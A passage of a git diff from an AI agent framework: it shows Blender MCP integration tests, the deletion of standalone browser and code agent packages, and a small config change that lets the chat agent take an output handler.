"TestScriptCube" -""" - print("Executing code to create a cube") - response = mcp_client.execute_code(code) - assert response["status"] == "success" - - # Verify the object was created - info_response = mcp_client.get_object_info("TestScriptCube") - assert info_response["status"] == "success" - assert info_response["result"]["name"] == "TestScriptCube" - assert abs(info_response["result"]["location"][2] - 5) < 0.001 - - async def test_material_creation(self, mcp_client, cleanup_test_objects): - """Test creating and assigning materials.""" - print("\n=== Test: Material creation ===") - # Create a test cube - mcp_client.create_object( - type="CUBE", name="TestMaterialCube", location=(0, 0, 0) - ) - - # Create and assign a material with Python code - print("Creating red material and assigning to cube") - material_code = """ -import bpy -import random - -# Create a new material with random color -mat = bpy.data.materials.new(name="TestMaterial") -mat.diffuse_color = (1.0, 0.0, 0.0, 1.0) # Red - -# Assign to the test cube -cube = bpy.data.objects.get("TestMaterialCube") -if cube and cube.data: - if cube.data.materials: - cube.data.materials[0] = mat - else: - cube.data.materials.append(mat) -""" - response = mcp_client.execute_code(material_code) - assert response["status"] == "success" - - # Verify material exists with another code execution - verify_code = """ -import bpy -mat = bpy.data.materials.get("TestMaterial") -if mat is None: - raise Exception("TestMaterial not found") -""" - verify_response = mcp_client.execute_code(verify_code) - assert verify_response["status"] == "success" - - async def test_complex_scene_creation(self, mcp_client, cleanup_test_objects): - """Test creating a more complex scene with multiple objects.""" - print("\n=== Test: Complex scene creation ===") - # Create several objects at different positions - objects = [ - { - "type": "CUBE", - "name": "TestComplex_Cube", - "location": (0, 0, 0), - "scale": (1, 1, 1), - }, - { - "type": "SPHERE", - "name": "TestComplex_Sphere", - "location": (3, 0, 0), - "scale": (1.5, 1.5, 1.5), - }, - { - "type": "CYLINDER", - "name": "TestComplex_Cylinder", - "location": (0, 3, 0), - "scale": (0.8, 0.8, 2), - }, - { - "type": "CONE", - "name": "TestComplex_Cone", - "location": (3, 3, 0), - "scale": (1, 1, 2), - }, - ] - - print(f"Creating {len(objects)} objects for complex scene") - for obj in objects: - response = mcp_client.create_object(**obj) - assert response["status"] == "success" - - # Get scene info and verify all objects were created - scene_info = mcp_client.get_scene_info() - assert scene_info["status"] == "success" - - # Get the names of all objects in the scene - scene_object_names = [obj["name"] for obj in scene_info["result"]["objects"]] - - # Verify all test objects are in the scene - missing_objects = [] - for obj in objects: - if obj["name"] not in scene_object_names: - missing_objects.append(obj["name"]) - - assert not missing_objects, f"Objects not found in scene: {missing_objects}" - - async def test_code_execution_error_handling(self, mcp_client): - """Test error handling in code execution.""" - print("\n=== Test: Code execution error handling ===") - # Execute invalid Python code - invalid_code = """ -import bpy -# This will raise a NameError -nonexistent_variable + 1 -""" - print("Executing code with error (expected to fail)") - - # Suppress logs for expected error - with suppress_client_logs(): - try: - mcp_client.execute_code(invalid_code) - assert False, "Expected MCPError was not raised" - except MCPError as e: - error_message = str(e) - # Check for enhanced error message with helpful context - assert "nonexistent_variable" in error_message - assert "Make sure to declare it before use" in error_message - print(f"Received enhanced error: {error_message}") - - -if __name__ == "__main__": - # Add command line arguments to pytest - pytest_args = [ - __file__, - "-vv", # Verbose output - # "-s", # Show print statements - # "-k test_delete_object", - "--asyncio-mode=auto", - ] - - print("Starting MCP tests...") - # Run the tests - exit_code = pytest.main(pytest_args) - sys.exit(exit_code) diff --git a/hub/agents/browser/python/README.md b/hub/agents/browser/python/README.md deleted file mode 100644 index 42b7d0a4f..000000000 --- a/hub/agents/browser/python/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# gaia-agent-browser - -Standalone GAIA agent — web research (search, fetch, download). Depends on the published -`amd-gaia` framework wheel. - -## Install - -```bash -pip install gaia-agent-browser # from PyPI (once published) -pip install -e hub/agents/browser/python # editable, for development -``` - -Installing registers the `web` agent via the `gaia.agent` entry-point -group; the GAIA registry discovers it automatically. - -## Develop / test - -```bash -pip install -e ".[test]" -pytest hub/agents/browser/python/tests/ -x -``` diff --git a/hub/agents/browser/python/gaia-agent.yaml b/hub/agents/browser/python/gaia-agent.yaml deleted file mode 100644 index cf9f76402..000000000 --- a/hub/agents/browser/python/gaia-agent.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: web -name: Browser Agent -version: 0.1.0 -description: "GAIA browser agent — web research (search, fetch, download)" -author: AMD -license: MIT - -category: research -tags: [web, search, browser, download] -icon: globe -tools_count: 10 - -language: python -min_gaia_version: "0.20.0" -models: [Gemma-4-E4B-it-GGUF] - -python: - entry_module: gaia_agent_browser - entry_class: BrowserAgent - dependencies: - - "amd-gaia>=0.20.0" - -requirements: - min_memory_gb: 8 - platforms: [win-x64, linux-x64, darwin-arm64] - -interfaces: - tui: false - cli: true - pipe: true - api_server: true - mcp_server: false diff --git a/hub/agents/browser/python/gaia_agent_browser/__init__.py b/hub/agents/browser/python/gaia_agent_browser/__init__.py deleted file mode 100644 index dcc8d8a5c..000000000 --- a/hub/agents/browser/python/gaia_agent_browser/__init__.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""GAIA Browser agent — standalone hub package. - -Registers the ``web`` agent (web research) into the GAIA registry via the -``gaia.agent`` entry-point group. Public names are re-exported lazily so -registry discovery stays cheap. -""" - -__all__ = ["build_registration"] - -__version__ = "0.1.0" - -_LAZY = { - "BrowserAgent": "agent", - "BrowserAgentConfig": "agent", -} - - -def __getattr__(name): - if name in _LAZY: - import importlib - - module = importlib.import_module(f"gaia_agent_browser.{_LAZY[name]}") - return getattr(module, name) - raise AttributeError(f"module {__name__!r} has no attribute {name!r}") - - -def build_registration(): - """Return the :class:`AgentRegistration` for the ``web`` (browser) agent.""" - import dataclasses - - from gaia.agents.registry import ( - AgentRegistration, - _select_tier_model, - _wrap_factory_with_namespaced_id, - build_model_tiers, - ) - - tiers = build_model_tiers("Full (~35B)") - - def _factory(**kwargs): - tier = kwargs.pop("model_tier", None) - if tier: - preset = _select_tier_model(tiers, tier) - if preset: - kwargs.setdefault("model_id", preset) - - from gaia_agent_browser.agent import BrowserAgent, BrowserAgentConfig - - valid_fields = {f.name for f in dataclasses.fields(BrowserAgentConfig)} - config = BrowserAgentConfig( - **{k: v for k, v in kwargs.items() if k in valid_fields} - ) - return BrowserAgent(config=config) - - factory = _wrap_factory_with_namespaced_id(_factory, "installed:web") - - return AgentRegistration( - id="web", - name="Browser Agent", - description="Web research — search, fetch pages, and download files", - source="installed", - conversation_starters=[ - "Search the web for...", - "What's the latest on...", - "Fetch this URL for me", - ], - factory=factory, - agent_dir=None, - models=[], - required_connections=[], - namespaced_agent_id="installed:web", - category="research", - tags=["web", "search", "browser", "download"], - icon="globe", - tools_count=10, - model_tiers=tiers, - ) diff --git a/hub/agents/browser/python/gaia_agent_browser/agent.py b/hub/agents/browser/python/gaia_agent_browser/agent.py deleted file mode 100644 index a13b40504..000000000 --- a/hub/agents/browser/python/gaia_agent_browser/agent.py +++ /dev/null @@ -1,93 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Browser-focused GAIA agent.""" - -from dataclasses import dataclass, field -from typing import List, Optional - -from gaia.agents.base.agent import Agent, default_max_steps -from gaia.agents.base.tools import _TOOL_REGISTRY -from gaia.agents.tools import BrowserToolsMixin -from gaia.mcp.mixin import MCPClientMixin -from gaia.security import PathValidator -from gaia.web.client import WebClient - - -@dataclass -class BrowserAgentConfig: - use_claude: bool = False - use_chatgpt: bool = False - claude_model: str = "claude-sonnet-4-20250514" - base_url: Optional[str] = None - model_id: Optional[str] = None - max_steps: int = field(default_factory=default_max_steps) - streaming: bool = False - debug: bool = False - debug_prompts: bool = False - show_prompts: bool = False - show_stats: bool = False - silent_mode: bool = False - output_dir: Optional[str] = None - allowed_paths: Optional[List[str]] = None - browser_timeout: int = 30 - browser_max_download_size: int = 100 * 1024 * 1024 - browser_rate_limit: float = 1.0 - - -class BrowserAgent(Agent, BrowserToolsMixin, MCPClientMixin): - """Agent focused on web search, page fetching, and downloads.""" - - def __init__(self, config: Optional[BrowserAgentConfig] = None): - if config is None: - config = BrowserAgentConfig() - self.config = config - self.path_validator = PathValidator( - config.allowed_paths, - on_prompt_start=lambda: self.console.pause_progress(), # pylint: disable=unnecessary-lambda - on_prompt_end=lambda: self.console.resume_progress(), # pylint: disable=unnecessary-lambda - ) - self._path_validator = self.path_validator - self._web_client = WebClient( - timeout=config.browser_timeout, - max_download_size=config.browser_max_download_size, - rate_limit=config.browser_rate_limit, - ) - - # Agent has no MCP servers; the UI auto-calls get_mcp_status_report() - # on every chat send and MCPClientMixin.__init__ never runs because - # Agent.__init__ doesn't chain super(). - self._mcp_manager = None - - super().__init__( - use_claude=config.use_claude, - use_chatgpt=config.use_chatgpt, - claude_model=config.claude_model, - base_url=config.base_url, - model_id=config.model_id, - max_steps=config.max_steps, - debug_prompts=config.debug_prompts, - show_prompts=config.show_prompts, - output_dir=config.output_dir, - streaming=config.streaming, - show_stats=config.show_stats, - silent_mode=config.silent_mode, - debug=config.debug, - skip_lemonade=True, - ) - - def _register_tools(self) -> None: - _TOOL_REGISTRY.clear() - self.register_browser_tools() - self._snapshot_tools() - - def _get_system_prompt(self) -> str: - return ( - "You are BrowserAgent, a web research specialist. Use search_web to " - "find sources, fetch_page to read them, and download_file only when " - "the user needs a local copy. Cite URLs you used and say when a page " - "cannot be fetched." - ) - - def close(self) -> None: - if self._web_client: - self._web_client.close() diff --git a/hub/agents/browser/python/pyproject.toml b/hub/agents/browser/python/pyproject.toml deleted file mode 100644 index e6fc4d869..000000000 --- a/hub/agents/browser/python/pyproject.toml +++ /dev/null @@ -1,22 +0,0 @@ -[build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" - -[project] -name = "gaia-agent-browser" -version = "0.1.0" -description = "GAIA browser agent — web research (search, fetch, download)" -authors = [{ name = "AMD" }] -license = { text = "MIT" } -readme = "README.md" -requires-python = ">=3.10" -dependencies = ["amd-gaia>=0.20.0"] - -[project.entry-points."gaia.agent"] -web = "gaia_agent_browser:build_registration" - -[project.optional-dependencies] -test = ["pytest"] - -[tool.setuptools.packages.find] -include = ["gaia_agent_browser*"] diff --git a/hub/agents/browser/python/tests/test_browser_agent.py b/hub/agents/browser/python/tests/test_browser_agent.py deleted file mode 100644 index d6bb5ae16..000000000 --- a/hub/agents/browser/python/tests/test_browser_agent.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Smoke tests for the standalone gaia-agent-browser package.""" - - -def test_build_registration_shape(): - import gaia_agent_browser as m - - reg = m.build_registration() - assert reg.id == "web" - assert reg.namespaced_agent_id == "installed:web" - assert reg.source == "installed" - tier_names = [t.name for t in reg.model_tiers] - assert tier_names == ["full", "lite"] - - -def test_can_import_agent(): - from gaia_agent_browser.agent import BrowserAgent, BrowserAgentConfig - - assert BrowserAgent is not None - assert BrowserAgentConfig is not None - - -def test_discovered_when_installed(): - from gaia.agents.registry import AgentRegistry - - reg = AgentRegistry() - reg.discover() - assert "web" in {a.id for a in reg.list()} diff --git a/hub/agents/chat/python/gaia_agent_chat/agent.py b/hub/agents/chat/python/gaia_agent_chat/agent.py index 0515028de..7a0a8fe90 100644 --- a/hub/agents/chat/python/gaia_agent_chat/agent.py +++ b/hub/agents/chat/python/gaia_agent_chat/agent.py @@ -91,6 +91,11 @@ class ChatAgentConfig: silent_mode: bool = False output_dir: Optional[str] = None + # Where agent output goes. The base Agent has always accepted this; without + # it on the config there is no way to hand a ChatAgent the SSE handler the + # OpenAI-compatible API server streams through. + output_handler: Optional[Any] = None + # RAG settings rag_documents: List[str] = field(default_factory=list) library_documents: List[str] = field( @@ -416,6 +421,7 @@ def __init__(self, config: Optional[ChatAgentConfig] = None): streaming=config.streaming, show_stats=config.show_stats, silent_mode=config.silent_mode, + output_handler=config.output_handler, debug=config.debug, device=config.device, min_context_size=( diff --git a/hub/agents/code/python/README.md b/hub/agents/code/python/README.md deleted file mode 100644 index 6a6b9e7be..000000000 --- a/hub/agents/code/python/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# gaia-agent-code - -Standalone GAIA agent for autonomous code generation — planning, writing, -linting, fixing, and testing Python and Next.js/TypeScript projects. Depends on -the published `amd-gaia` framework wheel. - -## Install - -```bash -pip install gaia-agent-code # from PyPI (once published) -pip install -e hub/agents/code/python # editable, for development -``` - -Installing registers the `code` agent via the `gaia.agent` entry-point group; -the GAIA registry discovers it automatically. It also installs the `gaia-code` -console script. - -## Use - -```bash -gaia-code "Create a Python CLI that fetches weather for a city" -``` - -`RoutingAgent` (in the core framework) also resolves this package through the -registry, so `gaia-code` style routing works once the wheel is installed. - -## Develop / test - -```bash -pip install -e ".[test]" -pytest hub/agents/code/python/tests/ -x -``` diff --git a/hub/agents/code/python/gaia-agent.yaml b/hub/agents/code/python/gaia-agent.yaml deleted file mode 100644 index 9c4f0c23f..000000000 --- a/hub/agents/code/python/gaia-agent.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: code -name: Code -version: 0.1.0 -description: "Autonomous code generation — plan, write, lint, fix, and test" -author: AMD -license: MIT - -category: development -tags: [code, python, typescript, nextjs] -icon: code -tools_count: 0 - -language: python -min_gaia_version: "0.20.0" -models: [Gemma-4-E4B-it-GGUF] - -python: - entry_module: gaia_agent_code - entry_class: CodeAgent - dependencies: - - "amd-gaia>=0.20.0" - -requirements: - min_memory_gb: 8 - platforms: [win-x64, linux-x64, darwin-arm64] - -interfaces: - tui: false - cli: true - pipe: true - api_server: true - mcp_server: false diff --git a/hub/agents/code/python/gaia_agent_code/__init__.py b/hub/agents/code/python/gaia_agent_code/__init__.py deleted file mode 100644 index b4882ed61..000000000 --- a/hub/agents/code/python/gaia_agent_code/__init__.py +++ /dev/null @@ -1,55 +0,0 @@ -# Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""GAIA Code agent — standalone hub package. - -Registers the ``code`` agent into the GAIA registry via the ``gaia.agent`` -entry-point group. Public names are re-exported lazily so registry discovery -stays cheap. -""" - -# Re-exported lazily via ``__getattr__``; intentionally absent from ``__all__``. -__all__ = ["build_registration"] - -__version__ = "0.1.0" - -_LAZY = { - "CodeAgent": "agent", -} - - -def __getattr__(name): - if name in _LAZY: - import importlib - - module = importlib.import_module(f"gaia_agent_code.{_LAZY[name]}") - return getattr(module, name) - raise AttributeError(f"module {__name__!r} has no attribute {name!r}") - - -def build_registration(): - """Return the :class:`AgentRegistration` for the code agent.""" - from gaia.agents.registry import AgentRegistration, class_factory - - def factory(**kwargs): - from gaia_agent_code.agent import CodeAgent - - return class_factory(CodeAgent)(**kwargs) - - return AgentRegistration( - id="code", - name="Code", - description="Autonomous code generation — plan, write, lint, fix, and test", - source="installed", - conversation_starters=[ - "Create a Python CLI that fetches weather for a city", - "Build a Next.js todo app with a SQLite backend", - ], - factory=factory, - agent_dir=None, - models=["Gemma-4-E4B-it-GGUF"], - namespaced_agent_id="installed:code", - category="development", - tags=["code", "python", "typescript", "nextjs"], - icon="code", - tools_count=0, - ) diff --git a/hub/agents/code/python/gaia_agent_code/agent.py b/hub/agents/code/python/gaia_agent_code/agent.py deleted file mode 100644 index 0c3847831..000000000 --- a/hub/agents/code/python/gaia_agent_code/agent.py +++ /dev/null @@ -1,589 +0,0 @@ -#!/usr/bin/env python -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Code Agent for GAIA. - -This agent provides intelligent code operations and assistance, focusing on -comprehensive Python support with capabilities for code understanding, generation, -modification, and validation. - -""" - -import json -import logging -import os -import time -from pathlib import Path -from typing import Any, Callable, Dict, Optional - -from gaia.agents.base.agent import Agent -from gaia.agents.base.api_agent import ApiAgent -from gaia.agents.base.console import AgentConsole, SilentConsole -from gaia.agents.tools.code_index_tools import CodeIndexToolsMixin -from gaia.security import PathValidator - -from .orchestration import ( - ExecutionResult, - Orchestrator, - UserContext, -) -from .system_prompt import get_system_prompt -from .tools import ( - CodeFormattingMixin, - CodeToolsMixin, - ErrorFixingMixin, - ExternalToolsMixin, - FileIOToolsMixin, - ProjectManagementMixin, - TestingMixin, - TypeScriptToolsMixin, - ValidationAndParsingMixin, - ValidationToolsMixin, - WebToolsMixin, -) - -# Import CLI tools -from .tools.cli_tools import CLIToolsMixin - -# Import Prisma tools -from .tools.prisma_tools import PrismaToolsMixin - -# Import refactored modules -from .validators import ( - AntipatternChecker, - ASTAnalyzer, - RequirementsValidator, - SyntaxValidator, -) - -logger = logging.getLogger(__name__) - - -class CodeAgent( - ApiAgent, # API support for VSCode integration - Agent, - CodeToolsMixin, # Code generation, analysis, helpers - ValidationAndParsingMixin, # Validation, AST parsing, error fixing helpers - FileIOToolsMixin, # File I/O operations - CodeFormattingMixin, # Code formatting (Black, etc.) - ProjectManagementMixin, # Project/workspace management - TestingMixin, # Testing tools - ErrorFixingMixin, # Error fixing tools - TypeScriptToolsMixin, # TypeScript runtime tools (npm, template fetching, validation) - WebToolsMixin, # Next.js full-stack web development tools (replaces frontend/backend) - PrismaToolsMixin, # Prisma database setup and management - CLIToolsMixin, # Universal CLI execution with process management - ExternalToolsMixin, # Context7 and Perplexity integration for documentation and web search - ValidationToolsMixin, # Validation and testing tools - CodeIndexToolsMixin, # Semantic code search / repository indexing -): - """ - Intelligent autonomous code agent for comprehensive Python development workflows. - - This agent autonomously handles complex coding tasks including: - - Workflow planning from requirements - - Code generation with best practices - - Automatic linting and formatting - - Error detection and correction - - Code execution and verification - - Usage: - agent = CodeAgent() - result = agent.process_query("Create a calculator app with error handling") - # Agent will plan, generate, lint, fix, test, and verify automatically - """ - - def __init__( - self, language="python", project_type="script", repo_path=".", **kwargs - ): - """Initialize the Code agent. - - Args: - language: Programming language ('python' or 'typescript', default: 'python') - project_type: Project type ('frontend', 'backend', 'fullstack', or 'script', default: 'script') - **kwargs: Agent initialization parameters: - - max_steps: Maximum conversation steps (default: 100) - - model_id: LLM model to use (default: Gemma-4-E4B-it-GGUF) - - silent_mode: Suppress console output (default: False) - - debug: Enable debug logging (default: False) - - show_prompts: Display prompts sent to LLM (default: False) - - streaming: Enable real-time LLM response streaming (default: False) - """ - # Store language and project type for prompt selection - self.language = language - self.project_type = project_type - - # Default to more steps for complex workflows. Treat an explicit None - # (the CLI's "use the default" sentinel) the same as omitted, so this - # override isn't silently dropped to the global default. - if kwargs.get("max_steps") is None: - kwargs["max_steps"] = 100 # Increased for complex project generation - # Use the coding model for better code understanding - if "model_id" not in kwargs: - kwargs["model_id"] = "Gemma-4-E4B-it-GGUF" - # Disable streaming by default (shows duplicate output) - # Users can enable with --streaming flag if desired - if "streaming" not in kwargs: - kwargs["streaming"] = False - # Code agent needs more plan iterations for complex projects - if "max_plan_iterations" not in kwargs: - kwargs["max_plan_iterations"] = 100 - - # Ensure .gaia cache directory exists for temporary files - self.cache_dir = Path.home() / ".gaia" / "cache" - self.cache_dir.mkdir(parents=True, exist_ok=True) - - # Security: Configure allowed paths for file operations - self.allowed_paths = kwargs.pop("allowed_paths", None) - self.path_validator = PathValidator( - self.allowed_paths, - on_prompt_start=lambda: self.console.pause_progress(), # pylint: disable=unnecessary-lambda - on_prompt_end=lambda: self.console.resume_progress(), # pylint: disable=unnecessary-lambda - ) - - # Workspace root for API mode (passed from VSCode) - self.workspace_root = None - - # Code-index state (used by CodeIndexToolsMixin) - code_index_config = kwargs.pop("code_index_config", None) - self._init_code_index_state( - repo_path=repo_path, code_index_config=code_index_config - ) - - # Progress callback for real-time updates - self.progress_callback = None - - super().__init__(**kwargs) - - # Store the tools description for later prompt reconstruction - # (base Agent's __init__ already appended tools to self.system_prompt) - self.tools_description = self._format_tools_for_prompt() - - # Initialize validators and analyzers - self.syntax_validator = SyntaxValidator() - self.antipattern_checker = AntipatternChecker() - self.ast_analyzer = ASTAnalyzer() - self.requirements_validator = RequirementsValidator() - - # Log context size requirement if not using cloud LLMs - if not kwargs.get("use_claude") and not kwargs.get("use_chatgpt"): - logger.debug( - "Code Agent requires large context size (32768 tokens). " - "Ensure Lemonade server is started with: lemonade-server serve --ctx-size 32768" - ) - - def _get_system_prompt(self, _user_input: Optional[str] = None) -> str: - """Generate the system prompt for the Code agent. - - Uses the language and project_type set during initialization to - select the appropriate prompt (no runtime detection). - - Args: - _user_input: Optional user query (not used for detection anymore) - - Returns: - str: System prompt for code operations - """ - return get_system_prompt(language=self.language, project_type=self.project_type) - - def _create_console(self): - """Create console for Code agent output. - - Returns: - AgentConsole or SilentConsole: Console instance - """ - if self.silent_mode: - return SilentConsole() - return AgentConsole() - - def _register_tools(self) -> None: - """Register Code-specific tools from mixins.""" - # Register all tools from consolidated mixins - self.register_code_tools() # CodeToolsMixin - self.register_file_io_tools() # FileIOToolsMixin - self.register_code_formatting_tools() # CodeFormattingMixin - self.register_project_management_tools() # ProjectManagementMixin - self.register_testing_tools() # TestingMixin - self.register_error_fixing_tools() # ErrorFixingMixin - self.register_typescript_tools() # TypeScriptToolsMixin - self.register_web_tools() # WebToolsMixin (Next.js unified approach) - self.register_prisma_tools() # PrismaToolsMixin (Prisma database management) - self.register_cli_tools() # CLIToolsMixin (Universal CLI execution) - self.register_external_tools() # ExternalToolsMixin (Context7 & Perplexity) - self.register_validation_tools() # ValidationToolsMixin (Testing and validation) - self.register_code_index_tools() # CodeIndexToolsMixin (Semantic code search) - - def process_query( - self, user_input: str, workspace_root=None, progress_callback=None, **kwargs - ): # pylint: disable=arguments-differ,unused-argument - """Process a query using the orchestrator workflow. - - Args: - user_input: The user's query - workspace_root: Optional workspace directory for file operations (from VSCode) - progress_callback: Optional callback function for progress updates - **kwargs: Additional arguments: - - step_through: Enable step-through debugging (pause after each step) - - Returns: - Execution result summary from the orchestrator - """ - # Issue #915: bind the agent identity for the duration of this query - # so any tool body's get_access_token_sync(...) call resolves the - # per-agent grant. Inline here because CodeAgent's signature differs - # from the base Agent.process_query's, so the base wrapper can't - # delegate to a renamed _process_query_impl as it does for other - # subclasses. ``_agent_context`` is the private helper from - # gaia.connectors.context — public callers cannot reach it. - from gaia.connectors.context import _agent_context - - ns_id = getattr(self, "_gaia_namespaced_agent_id", None) or getattr( - self, "AGENT_ID", None - ) - if ns_id is None: - return self._process_query_inner_code( - user_input, workspace_root, progress_callback, **kwargs - ) - with _agent_context(ns_id): - return self._process_query_inner_code( - user_input, workspace_root, progress_callback, **kwargs - ) - - def _process_query_inner_code( - self, user_input: str, workspace_root=None, progress_callback=None, **kwargs - ): - """Inner CodeAgent process_query body — see public process_query above.""" - # Extract trace options - trace = kwargs.get("trace", False) - trace_filename = kwargs.get("filename") - - # Extract step_through from kwargs - step_through = kwargs.get("step_through", False) - - del kwargs # Unused - accept for CLI compatibility - # Store workspace root and change to it if provided - original_cwd = os.getcwd() - if workspace_root: - self.workspace_root = workspace_root - self.path_validator.add_allowed_path(workspace_root) - original_cwd = os.getcwd() - os.chdir(workspace_root) - logger.debug(f"Changed working directory to: {workspace_root}") - - # Store progress callback for tools to use - if progress_callback: - self.progress_callback = progress_callback - - # Update system prompt based on actual user input for language detection - # Reconstruct full prompt with language-specific base + tools - base_prompt = self._get_system_prompt(user_input) - - # AI-powered schema inference (Perplexity -> Local LLM -> fallback) - # This dynamically determines what fields the app needs without hardcoding - schema_context = "" - inferred_entity = None - inferred_fields = None - try: - from .schema_inference import format_schema_context, infer_schema - - # Use self.chat for local LLM fallback if Perplexity unavailable - chat_sdk = getattr(self, "chat", None) - schema_result = infer_schema(user_input, chat_sdk) - - if schema_result.get("entity"): - schema_context = format_schema_context(schema_result) - inferred_entity = schema_result["entity"] - # Convert fields from list format [{"name": "x", "type": "y"}] - # to dict format {"x": "y"} expected by tools - raw_fields = schema_result.get("fields", []) - if isinstance(raw_fields, list): - inferred_fields = { - f["name"]: f.get("type", "string") - for f in raw_fields - if isinstance(f, dict) and "name" in f - } - else: - inferred_fields = raw_fields - logger.debug( - f"Schema inferred: {inferred_entity} " - f"({len(inferred_fields)} fields) via {schema_result['source']}" - ) - except Exception as e: - logger.warning(f"Schema inference failed (continuing without): {e}") - - # Add current working directory context - workspace_context = "" - if workspace_root: - workspace_context = ( - f"\n\nProject directory (dedicated): {os.getcwd()}\n" - f"IMPORTANT: When creating new projects (e.g., npx create-next-app, cargo new, etc.), " - f"use '.' as the project name to install directly in this directory, NOT in a subdirectory.\n" - ) - else: - workspace_context = f"\n\nCurrent working directory: {os.getcwd()}\n" - - self.system_prompt = ( - base_prompt - + schema_context # AI-inferred schema (if available) - + workspace_context - + f"\n\n==== AVAILABLE TOOLS ====\n{self.tools_description}\n\n" - ) - - try: - # Orchestrator is the ONLY workflow path - # Handles correct step ordering for all project types - execution_result = self._process_with_orchestrator( - user_input, - workspace_root, - entity_name=inferred_entity, - schema_fields=inferred_fields, - step_through=step_through, - ) - - # Write trace to file if requested - if trace: - try: - # Construct trace data - trace_data = { - "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), - "agent": "CodeAgent", - "query": user_input, - "workspace_root": workspace_root or os.getcwd(), - "result": { - "success": execution_result.success, - "summary": execution_result.summary, - "outputs": execution_result.outputs, - "errors": execution_result.errors, - }, - } - - if not trace_filename: - timestamp = time.strftime("%Y%m%d_%H%M%S") - trace_filename = f"agent_trace_{timestamp}.json" - - # Write to file - with open(trace_filename, "w", encoding="utf-8") as f: - json.dump(trace_data, f, indent=2) - - logger.info(f"Trace written to {trace_filename}") - if not self.silent_mode: - self.console.print(f"\nTrace written to {trace_filename}") - - except Exception as e: - logger.error(f"Failed to write trace file: {e}") - - # Return dict matching app.py's expected format - project_dir = execution_result.outputs.get( - "project_dir", workspace_root or os.getcwd() - ) - return { - "status": "success" if execution_result.success else "error", - "result": execution_result.summary, - "phases_completed": execution_result.phases_completed, - "phases_failed": execution_result.phases_failed, - "steps_succeeded": execution_result.steps_succeeded, - "steps_failed": execution_result.steps_failed, - "errors": execution_result.errors, - "project_dir": project_dir, - } - finally: - # Restore original working directory if we changed it - if workspace_root: - os.chdir(original_cwd) - logger.info(f"Restored working directory to: {original_cwd}") - - def _create_tool_executor(self) -> Callable[[str, Dict[str, Any]], Any]: - """Create the tool executor handed to the orchestrator. - - Delegates to ``Agent._execute_tool`` so orchestrated tool calls go - through the same path as the agent loop's: the user-confirmation - guardrail, name resolution, bounded execution, and error formatting. - Calling the registry directly here would skip the confirmation gate - entirely. - - Returns: - Function that executes tools by name - """ - - def execute_tool(tool_name: str, tool_args: Dict[str, Any]) -> Any: - """Execute a registered tool through the gated base-agent path.""" - return self._execute_tool(tool_name, tool_args) - - return execute_tool - - def _process_with_orchestrator( - self, - user_input: str, - workspace_root: Optional[str] = None, - entity_name: Optional[str] = None, - schema_fields: Optional[Dict[str, str]] = None, - step_through: bool = False, - ) -> ExecutionResult: - """Process request using the LLM-driven orchestrator. - - Args: - user_input: User's request - workspace_root: Optional workspace directory - entity_name: Entity name from schema inference (e.g., "Todo") - schema_fields: Field definitions from schema inference - step_through: Enable step-through debugging - - Returns: - ExecutionResult with workflow execution status - - Raises: - ValueError: If no LLM client (chat) is available - """ - tool_executor = self._create_tool_executor() - - # Create user context with inferred schema - context = UserContext( - user_request=user_input, - project_dir=workspace_root or os.getcwd(), - language=self.language, - project_type=self.project_type, - entity_name=entity_name, - schema_fields=schema_fields, - ) - - # Create LLM fixer wrapper that adapts signature - # ErrorHandler expects (error_text, code) -> Optional[fixed_code] - # _fix_code_with_llm expects (code, file_path, error_msg) -> Optional[fixed_code] - def llm_fixer(error_text: str, code: str) -> Optional[str]: - """Wrapper to adapt _fix_code_with_llm signature for ErrorHandler.""" - return self._fix_code_with_llm(code, "file.ts", error_text) - - # Get LLM client for checklist generation (required) - # The chat SDK has a send(message, timeout) method compatible with AgentSDK protocol - llm_client = getattr(self, "chat", None) - if llm_client is None: - raise ValueError( - "LLM client (chat) is required for orchestrator. " - "Ensure the agent has a chat SDK configured." - ) - - orchestrator = Orchestrator( - tool_executor=tool_executor, - llm_client=llm_client, - llm_fixer=llm_fixer, - progress_callback=self._orchestrator_progress_callback, - console=self.console, - ) - - logger.debug("Running LLM-driven orchestrator") - return orchestrator.execute(context, step_through=step_through) - - def _orchestrator_progress_callback( - self, phase: str, step: str, current: int, total: int - ) -> None: - """Handle progress updates from orchestrator.""" - if self.progress_callback: - self.progress_callback( - { - "type": "progress", - "phase": phase, - "step": step, - "current": current, - "total": total, - } - ) - # Also print to console if not silent - # Skip "checklist" phase printing as ChecklistExecutor handles its own output - if not self.silent_mode and hasattr(self, "console") and phase != "checklist": - self.console.print_info(f"[{current}/{total}] {phase}: {step}") - - def display_result( - self, - title: str = "Result", - result: Dict[str, Any] = None, - print_result: bool = False, - ) -> None: - """Display orchestrator execution result with a nice summary. - - Args: - title: Title for the result display - result: Orchestrator result dictionary - print_result: If True, also print raw JSON - """ - if result is None: - self.console.print_warning("No result available to display.") - return - - # Print raw JSON if requested - if print_result: - self.console.pretty_print_json(result, title) - return - - # Build a nice summary for orchestrator results - status = result.get("status", "unknown") - phases_completed = result.get("phases_completed", []) - phases_failed = result.get("phases_failed", []) - steps_succeeded = result.get("steps_succeeded", 0) - steps_failed = result.get("steps_failed", 0) - errors = result.get("errors", []) - - self.console.print("") # Blank line before summary - - # Status banner - if status == "success": - self.console.print("=" * 60) - self.console.print_success(" PROJECT GENERATION COMPLETE") - self.console.print("=" * 60) - else: - self.console.print("=" * 60) - self.console.print_warning(" PROJECT GENERATION FINISHED WITH ISSUES") - self.console.print("=" * 60) - - self.console.print("") - - # Phase summary - if phases_completed: - self.console.print(f"Phases completed: {', '.join(phases_completed)}") - if phases_failed: - self.console.print(f"Phases failed: {', 